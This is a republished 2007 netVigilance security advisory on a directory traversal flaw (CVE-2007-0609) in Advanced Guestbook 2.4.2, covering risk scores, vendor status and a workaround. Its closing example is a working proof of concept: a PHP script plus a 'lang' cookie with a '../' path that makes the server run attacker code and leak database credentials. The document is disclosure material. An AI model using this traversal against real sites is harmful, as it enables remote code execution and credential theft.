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Arrow  Topic :

Advanced Guestbook version 2.4.2 Directory Traversal Vulnerability


Arrow  SecurityAlert : 2662
Arrow  CVE : CVE-2007-0609
Arrow  SecurityRisk : Medium  Security Risk Medium  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Available : Yes
Arrow  Credit : netvigilance
Arrow  Published : 12.05.2007

Arrow  Affected Software : Advanced Guestbook version 2.4.2



Arrow  Advisory Content :  

netVigilance Security Advisory #13

Advanced Guestbook version 2.4.2 Directory Traversal Vulnerability

Description:
Advanced Guestbook is a PHP-based guestbook script. It includes many useful
features such as preview, templates, e-mail notification, picture upload,
page spanning , html tags handling, smiles, advanced guestbook codes and
language support. The admin script lets you modify, view, and delete
messages. Requires PHP4 and MySQL.
External References:
Mitre CVE: CVE-2007-0609
NVD NIST: CVE-2007-0609
OSVDB: 33878
Summary:
Advanced Guestbook is a PHP-based guestbook with admin interface.
Security problems in the product allow attackers to conduct directory
traversal attacks.
This vulnerabilities can be exploited only when attacker has registered on
the same server.

Advisory URL:
http://www.netvigilance.com/advisory0013
Release Date:
05/07/2007

Severity:
Risk: High

CVSS Metrics
Access Vector: Remote
Access Complexity: High
Authentication: Not-required
Confidentiality Impact: Complete
Integrity Impact: Complete
Availability Impact: Complete
Impact Bias: Normal
CVSS Base Score: 8

Target Distribution on Internet: Low

Exploitability: Functional Exploit
Remediation Level: Workaround
Report Confidence: Uncorroborated

Vulnerability Impact: Attack
Host Impact: Directory Traversal

SecureScout Testcase ID:

Vulnerable Systems:
Advanced Guestbook 2.4.2

Vulnerability Type:
An attacker via the .. (dot dot) sequence can execute his own php-script on
the target server.
Vendor Status:
Contact with the Vendor was established but draft of the security advisory
wasn't provided because the Vendor stopped responding to our emails on 9
March 2007. There is no official fix at the release of this Security
Advisory
Workaround:
Set Advanced Guestbook default static language.

Example:
1. Create php-script like: <?php global $GB_DB; print_r($GB_DB); ?>
2. Set in COOKIES variable lang = "[ via the .. (dot dot) Sequence set the
script name on the same server]" for example
"../../../hack_www/htdocs/hack"
REQUEST:
http://[TARGET]/[guestbook-directory]/index.php
REPLY:
Array
(
[dbName] => [CURRENT DB NAME]
[host] => [CURRENT DB HOST]
[user] => [DB USER NAME]
[pass] => [DB USER PASSWORD]
)
Credits:
Jesper Jurcenoks
Co-founder netVigilance, Inc
www.netvigilance.com





Arrow  Feedback :

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